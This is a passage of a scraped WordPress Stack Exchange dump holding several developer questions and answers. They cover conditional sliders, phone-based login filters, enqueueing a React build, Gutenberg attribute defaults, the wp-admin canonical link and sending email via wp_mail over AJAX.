"text": "<p>As I understand you want to display your slide in specific pages, so you need to control it using if condition.</p>\n\n<p><strong><em>debug the code before use,</em></strong></p>\n\n<ol>\n<li><p>Only on front page / home page</p>\n\n<p>is_front_page(); // Use this function</p>\n\n<p>More reading . <a href=\"https://developer.wordpress.org/reference/functions/is_home/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/reference/functions/is_home/</a>\n<a href=\"https://developer.wordpress.org/reference/functions/is_front_page/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/reference/functions/is_front_page/</a></p></li>\n<li><p>Get Current page name\n $pagename = get_query_var('pagename'); </p></li>\n</ol>\n\n<p>More details , stack overflow answer .<a href=\"https://stackoverflow.com/questions/4837006/how-to-get-the-current-page-name-in-wordpress\">https://stackoverflow.com/questions/4837006/how-to-get-the-current-page-name-in-wordpress</a></p>\n\n<ol start=\"3\">\n<li><p>Using Advance custom fields , ACF is a free plugin but I think repeater field is paid. anyway it have nice control customfilds.</p>\n\n<p><strong>Follow this resources</strong> \n <a href=\"https://www.advancedcustomfields.com/\" rel=\"nofollow noreferrer\">https://www.advancedcustomfields.com/</a>\n <a href=\"https://www.advancedcustomfields.com/resources/repeater/\" rel=\"nofollow noreferrer\">https://www.advancedcustomfields.com/resources/repeater/</a></p></li>\n</ol>\n"
}
]
| 2018/05/12 | [
"https://wordpress.stackexchange.com/questions/303386",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/125028/"
]
| I have to insert some sliders in some particular pages of wordpress site.
<https://www.mousampictures.com/department/wedding/>
when I have added the slider code, its appearing all at a time.
How can if do something like:
```
if (page is wedding){
echo wedding slider
}
if (page is portrait){
echo portrait slider
}
```
the page admin side url is:
>
> <https://www.mousampictures.com/wp-admin/term.php?taxonomy=department&tag_ID=38&post_type=portfolio>
>
>
>
I tried something like below:
```
<div class="layout-full">
<header class="entry-header">
<h1 class="entry-title"><?php single_cat_title(); ?></h1>
</header>
<!-- wedding --THIS DOSN'T WORK :( -->
<?php
$title = single_cat_title();
if ( $title == "Wedding") {
echo do_shortcode('[metaslider id="1710"]');
}
?>
<!--portrait -->
<?php echo do_shortcode('[metaslider id="1718"]'); ?>
<!--travel -->
<?php echo do_shortcode('[metaslider id="1714"]'); ?>
</div>
```
but the if condition doesn't work, Instead 'wedding' is printed on the page. | As I understand you want to display your slide in specific pages, so you need to control it using if condition.
***debug the code before use,***
1. Only on front page / home page
is\_front\_page(); // Use this function
More reading . <https://developer.wordpress.org/reference/functions/is_home/>
<https://developer.wordpress.org/reference/functions/is_front_page/>
2. Get Current page name
$pagename = get\_query\_var('pagename');
More details , stack overflow answer .<https://stackoverflow.com/questions/4837006/how-to-get-the-current-page-name-in-wordpress>
3. Using Advance custom fields , ACF is a free plugin but I think repeater field is paid. anyway it have nice control customfilds.
**Follow this resources**
<https://www.advancedcustomfields.com/>
<https://www.advancedcustomfields.com/resources/repeater/> |
303,407 | <p>Here is the code I'm using </p>
<p>First i have Removed Wordpress Authentication</p>
<pre><code>remove_filter('authenticate', 'wp_authenticate_username_password', 20);
</code></pre>
<p>Then i have added my own authentication</p>
<pre><code>add_filter('authenticate', function($user, $email, $password){
$phone = $wpdb->escape($_REQUEST['phone']);
$password = $wpdb->escape($_REQUEST['password']);
if(empty($phone) || empty ($password)){
//create new error object and add errors to it.
$error = new WP_Error();
if(empty($phone)){
$error->add('empty_phone', __('<strong>ERROR</strong>: Phone field is empty.'));
}
if(empty($password)){
$error->add('empty_password', __('<strong>ERROR</strong>: Password field is empty.'));
}
return $error;
}
$user = reset(
get_users(
array(
'meta_key' => 'phone',
'meta_value' => $phone,
'number' => 1,
'count_total' => false
)
)
);
if(!$user){
$error = new WP_Error();
$error->add('invalid', __('<strong>ERROR</strong>: Either the phone or password you entered is invalid.'));
return $error;
}
else{ //check password
if(!wp_check_password($password, $user->user_pass, $user->ID)){ //bad password
$error = new WP_Error();
$error->add('invalid', __('<strong>ERROR</strong>: Either the phone or password you entered is invalid.'));
return $error;
}else{
return $user; //passed
}
}
}, 20, 3);
</code></pre>
<p>And Finally my HTML Form</p>
<pre><code><form id="login" name="form" action="<?php echo wp_login_url(); ?>" method="post">
<input id="phone" type="text" placeholder="Phone Number" name="phone">
<input id="password" type="password" placeholder="Password" name="password">
<input id="submit" type="submit" name="submit" value="Submit">
</form>
</code></pre>
<p>it seems not working. i'm entering the right phone number and password but all i have is page reloading. any help or comment?</p>
| [
{
"answer_id": 303411,
"author": "Mark Kaplun",
"author_id": 23970,
"author_profile": "https://wordpress.stackexchange.com/users/23970",
"pm_score": 0,
"selected": false,
"text": "<p>Wordpress \"login\" process assumes that a user name is given. If there is no user name, there is nothing to authenticate and most likely your code is not being reached at all. If you want to have your own form, just write your own authentication.</p>\n\n<p>The other path you can follow is to change the label of the user field in the \"normal\" form to \"phone\" without replacing any other thing in the HTML itself. If you do that all the expected filters and actions should be triggered and your code is more likely to work.</p>\n"
},
{
"answer_id": 303421,
"author": "abdelrhman kouta",
"author_id": 128064,
"author_profile": "https://wordpress.stackexchange.com/users/128064",
"pm_score": -1,
"selected": false,
"text": "<p>i did it the problem was i was accessing the $wpdb without calling it globally first within the function, thank you very much</p>\n"
}
]
| 2018/05/12 | [
"https://wordpress.stackexchange.com/questions/303407",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/128064/"
]
| Here is the code I'm using
First i have Removed Wordpress Authentication
```
remove_filter('authenticate', 'wp_authenticate_username_password', 20);
```
Then i have added my own authentication
```
add_filter('authenticate', function($user, $email, $password){
$phone = $wpdb->escape($_REQUEST['phone']);
$password = $wpdb->escape($_REQUEST['password']);
if(empty($phone) || empty ($password)){
//create new error object and add errors to it.
$error = new WP_Error();
if(empty($phone)){
$error->add('empty_phone', __('<strong>ERROR</strong>: Phone field is empty.'));
}
if(empty($password)){
$error->add('empty_password', __('<strong>ERROR</strong>: Password field is empty.'));
}
return $error;
}
$user = reset(
get_users(
array(
'meta_key' => 'phone',
'meta_value' => $phone,
'number' => 1,
'count_total' => false
)
)
);
if(!$user){
$error = new WP_Error();
$error->add('invalid', __('<strong>ERROR</strong>: Either the phone or password you entered is invalid.'));
return $error;
}
else{ //check password
if(!wp_check_password($password, $user->user_pass, $user->ID)){ //bad password
$error = new WP_Error();
$error->add('invalid', __('<strong>ERROR</strong>: Either the phone or password you entered is invalid.'));
return $error;
}else{
return $user; //passed
}
}
}, 20, 3);
```
And Finally my HTML Form
```
<form id="login" name="form" action="<?php echo wp_login_url(); ?>" method="post">
<input id="phone" type="text" placeholder="Phone Number" name="phone">
<input id="password" type="password" placeholder="Password" name="password">
<input id="submit" type="submit" name="submit" value="Submit">
</form>
```
it seems not working. i'm entering the right phone number and password but all i have is page reloading. any help or comment? | Wordpress "login" process assumes that a user name is given. If there is no user name, there is nothing to authenticate and most likely your code is not being reached at all. If you want to have your own form, just write your own authentication.
The other path you can follow is to change the label of the user field in the "normal" form to "phone" without replacing any other thing in the HTML itself. If you do that all the expected filters and actions should be triggered and your code is more likely to work. |
303,427 | <p>I have built a react app and I want to add it to my existing wordpress website. So basically when you visit mydomain.com/reactapp you should see the app.
But for now I am getting a white page and in my console there is:
<a href="https://www.mydomain.co.uk/static/css/main.cc05123b.css" rel="nofollow noreferrer">https://www.mydomain.co.uk/static/css/main.cc05123b.css</a> 404 (Not Found) </p>
<p>Do i have to change something in my htaccess?
Thanks</p>
| [
{
"answer_id": 303450,
"author": "Wushu06 ",
"author_id": 143506,
"author_profile": "https://wordpress.stackexchange.com/users/143506",
"pm_score": -1,
"selected": false,
"text": "<p>I just needed to change the publicPath inside my webpack.</p>\n"
},
{
"answer_id": 344443,
"author": "Radek Mezuláník",
"author_id": 110125,
"author_profile": "https://wordpress.stackexchange.com/users/110125",
"pm_score": 0,
"selected": false,
"text": "<p>You need to include scripts and styles properly as it has been done here <a href=\"https://github.com/radekzz/wordpress-react-in-theme\" rel=\"nofollow noreferrer\">https://github.com/radekzz/wordpress-react-in-theme</a></p>\n\n<pre><code> add_action( 'wp_enqueue_scripts', 'enqueue_my_react_app' ); \nfunction enqueue_my_react_app(){ \n foreach( glob( get_template_directory(). '/myReactApp/build/static/js/*.js' ) as $file ) { \n// $file contains the name and extension of the file \n$filename = substr($file, strrpos($file, '/') + 1); wp_enqueue_script( $filename, get_template_directory_uri().'/myReactApp/build/static/js/'.$filename); \n} foreach( glob( get_template_directory(). '/myReactApp/build/static/css/*.css' ) as $file ) { \n// $file contains the name and extension of the file \n$filename = substr($file, strrpos($file, '/') + 1); wp_enqueue_style( $filename, get_template_directory_uri().'/myReactApp/build/static/css/'.$filename); \n}\n }\n</code></pre>\n"
}
]
| 2018/05/12 | [
"https://wordpress.stackexchange.com/questions/303427",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143506/"
]
| I have built a react app and I want to add it to my existing wordpress website. So basically when you visit mydomain.com/reactapp you should see the app.
But for now I am getting a white page and in my console there is:
<https://www.mydomain.co.uk/static/css/main.cc05123b.css> 404 (Not Found)
Do i have to change something in my htaccess?
Thanks | You need to include scripts and styles properly as it has been done here <https://github.com/radekzz/wordpress-react-in-theme>
```
add_action( 'wp_enqueue_scripts', 'enqueue_my_react_app' );
function enqueue_my_react_app(){
foreach( glob( get_template_directory(). '/myReactApp/build/static/js/*.js' ) as $file ) {
// $file contains the name and extension of the file
$filename = substr($file, strrpos($file, '/') + 1); wp_enqueue_script( $filename, get_template_directory_uri().'/myReactApp/build/static/js/'.$filename);
} foreach( glob( get_template_directory(). '/myReactApp/build/static/css/*.css' ) as $file ) {
// $file contains the name and extension of the file
$filename = substr($file, strrpos($file, '/') + 1); wp_enqueue_style( $filename, get_template_directory_uri().'/myReactApp/build/static/css/'.$filename);
}
}
``` |
303,445 | <p>In a Gutenberg block I try to read the value of an attribute's <em>default</em> property, so that I can find out in the transformation routine (to another block type) if any give attribute still has the default value.</p>
<p>With <code>this.props.attributes</code> I only see the <em>values</em> of attributes, but I need their "meta data".</p>
<p>One sample declaration in <strong>registerBlockType</strong> would look like:</p>
<pre><code>attributes: {
amount: {
type: 'integer',
default: 1
},
// ...
}
</code></pre>
| [
{
"answer_id": 303624,
"author": "dgwyer",
"author_id": 8961,
"author_profile": "https://wordpress.stackexchange.com/users/8961",
"pm_score": 0,
"selected": false,
"text": "<p>I'm not sure if there's a direct way to inspect an attributes default value but one way would you can indirectly achieve this is to store the default value in a variable.</p>\n\n<p>You could then reference it from inside the attribute object and from the <code>edit</code> and <code>save</code> functions.</p>\n\n<p>e.g. (untested)</p>\n\n<pre><code>const amountDefault = 1;\n\nregisterBlockType( 'test/myblock', {\n title: __( 'Test Block' ),\n attributes: {\n amount: {\n type: 'integer',\n default: amountDefault \n }\n },\n edit: function( props ) {\n const { attributes: { amount } } = props;\n\n return (\n <div className={ props.className }>\n <h3>Editor</h3>\n The default amount is: {amountDefault}\n The actual amount is: {amount}\n </div>\n );\n },\n save: function( props ) {\n const { attributes: { amount } } = props;\n return (\n <div>\n <h3>Editor</h3>\n The default amount is: {amountDefault}\n The actual amount is: {amount}\n </div>\n );\n }\n} );\n</code></pre>\n\n<p>This isn't ideal but should work as expected.</p>\n"
},
{
"answer_id": 304505,
"author": "chris_cm",
"author_id": 130871,
"author_profile": "https://wordpress.stackexchange.com/users/130871",
"pm_score": 1,
"selected": true,
"text": "<p>I just found out that I can simply define a variable when I register the block</p>\n\n<pre><code>var myBlock = registerBlockType( ... )\n</code></pre>\n\n<p>and then inside the anonymous function for \"transform\" I can access the attributes as</p>\n\n<pre><code>myBlock.attributes\n</code></pre>\n"
},
{
"answer_id": 405557,
"author": "Sergio Zaharchenko",
"author_id": 136533,
"author_profile": "https://wordpress.stackexchange.com/users/136533",
"pm_score": 1,
"selected": false,
"text": "<p>You can get it from the <code>wp.data</code> object.</p>\n<p>For example, if you registered the block <code>my-block</code>:</p>\n<pre><code>registerBlockType('create-block/my-block', {\n attributes: {\n amount: {\n type: 'integer',\n default: 1\n },\n // ...\n }\n // ...\n});\n</code></pre>\n<p>you can get the default value this way:</p>\n<pre><code>const attributeSettings = wp.data.select('core/blocks').getBlockType('create-block/my-block').attributes;\nconst defaultAmount = attributeSettings.amount.default;\n</code></pre>\n"
}
]
| 2018/05/13 | [
"https://wordpress.stackexchange.com/questions/303445",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/130871/"
]
| In a Gutenberg block I try to read the value of an attribute's *default* property, so that I can find out in the transformation routine (to another block type) if any give attribute still has the default value.
With `this.props.attributes` I only see the *values* of attributes, but I need their "meta data".
One sample declaration in **registerBlockType** would look like:
```
attributes: {
amount: {
type: 'integer',
default: 1
},
// ...
}
``` | I just found out that I can simply define a variable when I register the block
```
var myBlock = registerBlockType( ... )
```
and then inside the anonymous function for "transform" I can access the attributes as
```
myBlock.attributes
``` |
303,448 | <p>I have searched through Google and <a href="https://developer.wordpress.org/?s=wp-admin-canonical" rel="nofollow noreferrer">WordPress developer resources</a>, but nothing came up.</p>
<p>I understand the purpose of <code>rel="canonical"</code> tag in a website's frontend (it's part of the website SEO), but I fail to understand its purpose in WordPress Admin area (backend).</p>
<p>Example in a local WordPress installation:</p>
<pre><code><link id="wp-admin-canonical" rel="canonical" href="http://localhost/wordpress/wp-admin/plugins.php" />
</code></pre>
<p>What is their purpose in WordPress Admin area?</p>
| [
{
"answer_id": 308056,
"author": "Cedric",
"author_id": 34076,
"author_profile": "https://wordpress.stackexchange.com/users/34076",
"pm_score": 0,
"selected": false,
"text": "<p>There is no valid reason to have one in the backend (aka admin). The only one is that the function <code>rel_canonical</code> in <code>wp-includes/link-template.php</code> added from the action in <code>default-filters.php</code> file is always activated - regardless if it is front or backend.</p>\n\n<p>And as the behaviour does not seem to be a problem to the community, it is left unchanged : the developer working on Wordpress would spend their time better improving something important than something that wouldn't add any value to Wordpress.</p>\n"
},
{
"answer_id": 308057,
"author": "Shibi",
"author_id": 62500,
"author_profile": "https://wordpress.stackexchange.com/users/62500",
"pm_score": 2,
"selected": false,
"text": "<p>Wordpress use this in the admin to remove some query args from the url.</p>\n\n<p>Its generated by the function <a href=\"https://developer.wordpress.org/reference/functions/wp_admin_canonical_url/\" rel=\"nofollow noreferrer\"><code>wp_admin_canonical_url()</code></a></p>\n\n<pre><code>function wp_admin_canonical_url() {\n $removable_query_args = wp_removable_query_args();\n\n if ( empty( $removable_query_args ) ) {\n return;\n }\n\n // Ensure we're using an absolute URL.\n $current_url = set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] );\n $filtered_url = remove_query_arg( $removable_query_args, $current_url );\n ?>\n <link id=\"wp-admin-canonical\" rel=\"canonical\" href=\"<?php echo esc_url( $filtered_url ); ?>\" />\n <script>\n if ( window.history.replaceState ) {\n window.history.replaceState( null, null, document.getElementById( 'wp-admin-canonical' ).href + window.location.hash );\n }\n </script>\n<?php\n}\n</code></pre>\n\n<p>The <a href=\"https://developer.wordpress.org/reference/functions/wp_removable_query_args/\" rel=\"nofollow noreferrer\"><code>wp_removable_query_args()</code></a> return an array with the query args that we want to remove the default ones for example.</p>\n\n<pre><code>$removable_query_args = array(\n 'activate',\n 'activated',\n 'approved',\n 'deactivate',\n 'deleted',\n 'disabled',\n 'enabled',\n 'error',\n 'hotkeys_highlight_first',\n 'hotkeys_highlight_last',\n 'locked',\n 'message',\n 'same',\n 'saved',\n 'settings-updated',\n 'skipped',\n 'spammed',\n 'trashed',\n 'unspammed',\n 'untrashed',\n 'update',\n 'updated',\n 'wp-post-new-reload',\n);\n</code></pre>\n\n<p>So now for example if we edit some post the url is <code>http://example.com/wp-admin/post.php?post=32&action=edit</code></p>\n\n<p>When we save the post we change the url to <code>/wp-admin/post.php?post=32&action=edit&message=1</code> but with JS we change the url that stored in our browser history with <code>window.history.replaceState</code> and remove the <code>message</code> query arg.</p>\n\n<p>And then if we change the url and click back we will back to our stored url instead of the url with the <code>message</code>.</p>\n\n<p>And we won't see the message: <strong>Post updated. View post</strong> again.</p>\n\n<p>It can be tested with creating new post you can see the message and then go to homepage and click back. and see that you won't see the message because our browser history url changed to be without the message query arg.</p>\n\n<p><strong>So why use the <code>rel=\"canonical\"</code>?</strong></p>\n\n<p>From what I see wordpress core doesn't have a real purpose except <strong>semantics</strong> to use this tag. This tag are meant to tell us that the some url is duplicate to other url.</p>\n\n<p>But as other crawlers used this tag as an option to check for duplications we can build our own crawler to our admin area for some purpose and we can use this tag.</p>\n"
},
{
"answer_id": 308151,
"author": "Fayaz",
"author_id": 110572,
"author_profile": "https://wordpress.stackexchange.com/users/110572",
"pm_score": 4,
"selected": true,
"text": "<h2>What is frontend & what is backend in WordPress?</h2>\n\n<p>The PHP CODE, SQL Queries etc. that are executed on your server is the <strong>backend</strong> & any HTML/CSS/JavaScript CODE that comes to the browser as a result, is the <strong>frontend</strong>.</p>\n\n<p>So even though, some parts of your site's <strong>\"frontend\"</strong> may be restricted by a password protected barrier, it's still considered as frontend. It's more accurate if you call it <strong>WordPress Admin Panel</strong>, instead of calling it the backend.</p>\n\n<h2>Why would WordPress Admin Panel pages need <code>rel=\"canonical\"</code>?</h2>\n\n<p>Unless for a <strong>very very rare</strong> use case where you may make the admin pages public, there can be no SEO benefits from it. However, <code>rel=\"canonical\"</code> can still be used (even for the admin panel pages): <strong>As part of the standard practice</strong>.</p>\n\n<p>For a web page, <code>rel=\"canonical\"</code> means:</p>\n\n<blockquote>\n <p>The web page URL that is recognized as the go to URL for a collection of different pages having very similar or the same content.</p>\n</blockquote>\n\n<p>Since this is the standard practice, even if you don't get any SEO benefit from it, it's still the right thing to do.</p>\n\n<h2>Where does it come from:</h2>\n\n<p>WordPress added <code>wp_admin_canonical_url()</code> function in WordPress 4.2. <code>rel=\"canonical\"</code> part was there from the beginning & WordPress developers found no reason to remove it since then.</p>\n\n<p>The original change came from the support ticket titled: <a href=\"https://core.trac.wordpress.org/ticket/23367\" rel=\"noreferrer\">Remove message parameters from admin URl's in the browser address bar</a>. And if you go through the discussion, you'll see that the <code>rel=canonical</code> part was added as part of standard practice, <strong>nothing more</strong>.</p>\n\n<p>Check the <a href=\"https://core.trac.wordpress.org/ticket/23367#comment:25\" rel=\"noreferrer\">comment</a> from the original developer:</p>\n\n<blockquote>\n <ol start=\"3\">\n <li><code>rel=canonical</code> is a standard practice, and I think this is a good use of it. </li>\n </ol>\n</blockquote>\n\n<h2>Why WordPress needs the <code><link id=\"wp-admin-canonical\" /></code> tag?</h2>\n\n<p>As evident from the above discussion, <code>rel=canonical</code> part of the <code><link></code> tag is only there for standard practice, however, the <code><link></code> tag:</p>\n\n<pre><code><link id=\"wp-admin-canonical\" rel=\"canonical\" href=\"__URL__\" />\n</code></pre>\n\n<p>itself is functional. It was added to keep the URL & browser history clean from <strong>single-use query variable names</strong>. </p>\n\n<p>For example, if you activate a Plugin, at the top of your admin panel, it gives you a message like:</p>\n\n<blockquote>\n <p>Plugin activated.</p>\n</blockquote>\n\n<p>After that, say you close the browser & open it back again later (or simply refresh the page). At that point, prior to WordPress 4.2 (if the browser is set to open the last opened tab), the page would still say:</p>\n\n<blockquote>\n <p>Plugin activated</p>\n</blockquote>\n\n<p>even though nothing really happened this time. Same applies when you use browser back button (because the message is shown in response to the single-use URL parameters from browser history as well).</p>\n\n<p>This happens because WordPress redirects you to a URL like:</p>\n\n<pre><code>http://example.com/wp-admin/plugins.php?activate=true&plugin_status=all&paged=1&s=\n</code></pre>\n\n<p>after you activate a plugin. Notice the <code>activate=true</code> query string in the URL. This has no purpose other than showing you that \"<strong>Plugin activated</strong>\" message. So it has no use in the URL or browser history after the \"<strong>Plugin activated</strong>\" message is delivered to you.</p>\n\n<p>That's why, in WordPress 4.2 <a href=\"https://core.trac.wordpress.org/browser/tags/4.9.7/src/wp-admin/includes/misc.php#L1076\" rel=\"noreferrer\"><code>wp_admin_canonical_url()</code></a> function was introduced, where <code><link id=\"wp-admin-canonical\" /></code> tag keeps the reference to the canonical version of the URL without the <strong>single-use query variable</strong> part & then the JavaScript CODE from the function replaces it from the browser's history entry.</p>\n\n<p>As of writing this, there are 23 such <strong>single-use query variables</strong> that can be removed from the canonical URL from <a href=\"https://core.trac.wordpress.org/browser/tags/4.9.7/src/wp-includes/functions.php#L857\" rel=\"noreferrer\"><code>wp_removable_query_args()</code></a> function:</p>\n\n<pre><code>'activate', 'activated', 'approved', 'deactivate', 'deleted',\n'disabled', 'enabled', 'error', 'hotkeys_highlight_first', \n'hotkeys_highlight_last', 'locked', 'message', 'same', 'saved',\n'settings-updated', 'skipped', 'spammed', 'trashed', 'unspammed', \n'untrashed', 'update', 'updated', 'wp-post-new-reload'\n</code></pre>\n\n<p>However, it can be extended from Plugins or Themes using the <code>removable_query_args</code> filter hook.</p>\n"
}
]
| 2018/05/13 | [
"https://wordpress.stackexchange.com/questions/303448",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143097/"
]
| I have searched through Google and [WordPress developer resources](https://developer.wordpress.org/?s=wp-admin-canonical), but nothing came up.
I understand the purpose of `rel="canonical"` tag in a website's frontend (it's part of the website SEO), but I fail to understand its purpose in WordPress Admin area (backend).
Example in a local WordPress installation:
```
<link id="wp-admin-canonical" rel="canonical" href="http://localhost/wordpress/wp-admin/plugins.php" />
```
What is their purpose in WordPress Admin area? | What is frontend & what is backend in WordPress?
------------------------------------------------
The PHP CODE, SQL Queries etc. that are executed on your server is the **backend** & any HTML/CSS/JavaScript CODE that comes to the browser as a result, is the **frontend**.
So even though, some parts of your site's **"frontend"** may be restricted by a password protected barrier, it's still considered as frontend. It's more accurate if you call it **WordPress Admin Panel**, instead of calling it the backend.
Why would WordPress Admin Panel pages need `rel="canonical"`?
-------------------------------------------------------------
Unless for a **very very rare** use case where you may make the admin pages public, there can be no SEO benefits from it. However, `rel="canonical"` can still be used (even for the admin panel pages): **As part of the standard practice**.
For a web page, `rel="canonical"` means:
>
> The web page URL that is recognized as the go to URL for a collection of different pages having very similar or the same content.
>
>
>
Since this is the standard practice, even if you don't get any SEO benefit from it, it's still the right thing to do.
Where does it come from:
------------------------
WordPress added `wp_admin_canonical_url()` function in WordPress 4.2. `rel="canonical"` part was there from the beginning & WordPress developers found no reason to remove it since then.
The original change came from the support ticket titled: [Remove message parameters from admin URl's in the browser address bar](https://core.trac.wordpress.org/ticket/23367). And if you go through the discussion, you'll see that the `rel=canonical` part was added as part of standard practice, **nothing more**.
Check the [comment](https://core.trac.wordpress.org/ticket/23367#comment:25) from the original developer:
>
> 3. `rel=canonical` is a standard practice, and I think this is a good use of it.
>
>
>
Why WordPress needs the `<link id="wp-admin-canonical" />` tag?
---------------------------------------------------------------
As evident from the above discussion, `rel=canonical` part of the `<link>` tag is only there for standard practice, however, the `<link>` tag:
```
<link id="wp-admin-canonical" rel="canonical" href="__URL__" />
```
itself is functional. It was added to keep the URL & browser history clean from **single-use query variable names**.
For example, if you activate a Plugin, at the top of your admin panel, it gives you a message like:
>
> Plugin activated.
>
>
>
After that, say you close the browser & open it back again later (or simply refresh the page). At that point, prior to WordPress 4.2 (if the browser is set to open the last opened tab), the page would still say:
>
> Plugin activated
>
>
>
even though nothing really happened this time. Same applies when you use browser back button (because the message is shown in response to the single-use URL parameters from browser history as well).
This happens because WordPress redirects you to a URL like:
```
http://example.com/wp-admin/plugins.php?activate=true&plugin_status=all&paged=1&s=
```
after you activate a plugin. Notice the `activate=true` query string in the URL. This has no purpose other than showing you that "**Plugin activated**" message. So it has no use in the URL or browser history after the "**Plugin activated**" message is delivered to you.
That's why, in WordPress 4.2 [`wp_admin_canonical_url()`](https://core.trac.wordpress.org/browser/tags/4.9.7/src/wp-admin/includes/misc.php#L1076) function was introduced, where `<link id="wp-admin-canonical" />` tag keeps the reference to the canonical version of the URL without the **single-use query variable** part & then the JavaScript CODE from the function replaces it from the browser's history entry.
As of writing this, there are 23 such **single-use query variables** that can be removed from the canonical URL from [`wp_removable_query_args()`](https://core.trac.wordpress.org/browser/tags/4.9.7/src/wp-includes/functions.php#L857) function:
```
'activate', 'activated', 'approved', 'deactivate', 'deleted',
'disabled', 'enabled', 'error', 'hotkeys_highlight_first',
'hotkeys_highlight_last', 'locked', 'message', 'same', 'saved',
'settings-updated', 'skipped', 'spammed', 'trashed', 'unspammed',
'untrashed', 'update', 'updated', 'wp-post-new-reload'
```
However, it can be extended from Plugins or Themes using the `removable_query_args` filter hook. |
303,478 | <p>I am using <strong><em>wp_mail()</em></strong> to send email using ajax. My mail code is as follow.</p>
<pre><code>add_action( 'wp_ajax_send_confirmation_email', 'wpse_sendmail' );
add_action( 'wp_ajax_nopriv_send_confirmation_email', 'wpse_sendmail' );
function wpse_sendmail() {
if(isset($_GET['is_email']) && $_GET['is_email'] == true){
$temp_dir = get_template_directory_uri();
$url = $temp_dir."/confirm_email.php?id=".$_REQUEST['id']."&key=".$_REQUEST['key'];
$message = "Username:".$_REQUEST['name']."Click on below link to confirm your email;".$url;
$subject = "Email confirmation Link";
$headers = "From: [email protected]" . "\r\n";
if ( wp_mail( $_REQUEST['email'], $subject, $message, $headers ) ) {
echo "1";
} else {
echo "0";
}
}
}
</code></pre>
<p>And AJAX Code is as follow</p>
<pre><code>add_action('wp_footer','my_scripts');
function my_scripts(){
?>
<script type="text/javascript">
jQuery("#send").click(function(e){
e.preventDefault(); // if the clicked element is a link
//...
var confirm_email=jQuery("#confirm_email").val();
var confirm_key=jQuery("#confirm_key").val();
var user_email='<?php echo $current_user->user_email;?>';
var display_name='<?php echo $current_user->display_name;?>';
var user_id='<?php echo $current_user->ID;?>';
var data = { 'action':'send_confirmation_email', 'email':'confirm_email','key':'confirm_key','name':'display_name','id':'user_id','is_email':'true' };
jQuery.post('<?php echo admin_url('admin-ajax.php'); ?>', data, function(response) {
if(response=="1"){
jQuery(".confirm_email_section").html("<span class='alert alert-success'>Confirmation link sent to your email. Check your email<span>");
}
else{
jQuery(".confirm_email_section").html("<span class='alert alert-danger'>Error Occured<span>");
}
});
});
</script>
<?php
}
</code></pre>
<p>Every parameter passed with ajax are receiving into above <strong><em>wpse_sendmail()</em></strong> function but email is not sending. <strong><em>It always returns false</em></strong>. And email is <strong><em>also not sending with mail() function in functions.php</em></strong> <strong><em>but working within a custom file</em></strong>. I don't know that what is going wrong. If any one help me, i will be thankful.</p>
| [
{
"answer_id": 308056,
"author": "Cedric",
"author_id": 34076,
"author_profile": "https://wordpress.stackexchange.com/users/34076",
"pm_score": 0,
"selected": false,
"text": "<p>There is no valid reason to have one in the backend (aka admin). The only one is that the function <code>rel_canonical</code> in <code>wp-includes/link-template.php</code> added from the action in <code>default-filters.php</code> file is always activated - regardless if it is front or backend.</p>\n\n<p>And as the behaviour does not seem to be a problem to the community, it is left unchanged : the developer working on Wordpress would spend their time better improving something important than something that wouldn't add any value to Wordpress.</p>\n"
},
{
"answer_id": 308057,
"author": "Shibi",
"author_id": 62500,
"author_profile": "https://wordpress.stackexchange.com/users/62500",
"pm_score": 2,
"selected": false,
"text": "<p>Wordpress use this in the admin to remove some query args from the url.</p>\n\n<p>Its generated by the function <a href=\"https://developer.wordpress.org/reference/functions/wp_admin_canonical_url/\" rel=\"nofollow noreferrer\"><code>wp_admin_canonical_url()</code></a></p>\n\n<pre><code>function wp_admin_canonical_url() {\n $removable_query_args = wp_removable_query_args();\n\n if ( empty( $removable_query_args ) ) {\n return;\n }\n\n // Ensure we're using an absolute URL.\n $current_url = set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] );\n $filtered_url = remove_query_arg( $removable_query_args, $current_url );\n ?>\n <link id=\"wp-admin-canonical\" rel=\"canonical\" href=\"<?php echo esc_url( $filtered_url ); ?>\" />\n <script>\n if ( window.history.replaceState ) {\n window.history.replaceState( null, null, document.getElementById( 'wp-admin-canonical' ).href + window.location.hash );\n }\n </script>\n<?php\n}\n</code></pre>\n\n<p>The <a href=\"https://developer.wordpress.org/reference/functions/wp_removable_query_args/\" rel=\"nofollow noreferrer\"><code>wp_removable_query_args()</code></a> return an array with the query args that we want to remove the default ones for example.</p>\n\n<pre><code>$removable_query_args = array(\n 'activate',\n 'activated',\n 'approved',\n 'deactivate',\n 'deleted',\n 'disabled',\n 'enabled',\n 'error',\n 'hotkeys_highlight_first',\n 'hotkeys_highlight_last',\n 'locked',\n 'message',\n 'same',\n 'saved',\n 'settings-updated',\n 'skipped',\n 'spammed',\n 'trashed',\n 'unspammed',\n 'untrashed',\n 'update',\n 'updated',\n 'wp-post-new-reload',\n);\n</code></pre>\n\n<p>So now for example if we edit some post the url is <code>http://example.com/wp-admin/post.php?post=32&action=edit</code></p>\n\n<p>When we save the post we change the url to <code>/wp-admin/post.php?post=32&action=edit&message=1</code> but with JS we change the url that stored in our browser history with <code>window.history.replaceState</code> and remove the <code>message</code> query arg.</p>\n\n<p>And then if we change the url and click back we will back to our stored url instead of the url with the <code>message</code>.</p>\n\n<p>And we won't see the message: <strong>Post updated. View post</strong> again.</p>\n\n<p>It can be tested with creating new post you can see the message and then go to homepage and click back. and see that you won't see the message because our browser history url changed to be without the message query arg.</p>\n\n<p><strong>So why use the <code>rel=\"canonical\"</code>?</strong></p>\n\n<p>From what I see wordpress core doesn't have a real purpose except <strong>semantics</strong> to use this tag. This tag are meant to tell us that the some url is duplicate to other url.</p>\n\n<p>But as other crawlers used this tag as an option to check for duplications we can build our own crawler to our admin area for some purpose and we can use this tag.</p>\n"
},
{
"answer_id": 308151,
"author": "Fayaz",
"author_id": 110572,
"author_profile": "https://wordpress.stackexchange.com/users/110572",
"pm_score": 4,
"selected": true,
